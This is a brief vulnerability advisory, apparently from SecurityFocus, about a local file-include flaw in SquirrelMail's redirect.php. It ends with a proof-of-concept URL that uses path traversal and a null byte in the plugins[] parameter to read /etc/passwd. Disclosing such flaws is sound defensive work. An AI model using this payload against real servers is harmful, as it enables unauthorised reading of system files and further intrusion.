source: https://www.securityfocus.com/bid/18231/info

SquirrelMail is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit may allow unauthorized users to view files and to execute local scripts; other attacks are also possible.

http://www.example.com/[squirrelmail dir]/src/redirect.php?plugins[]=../../../../etc/passwd%00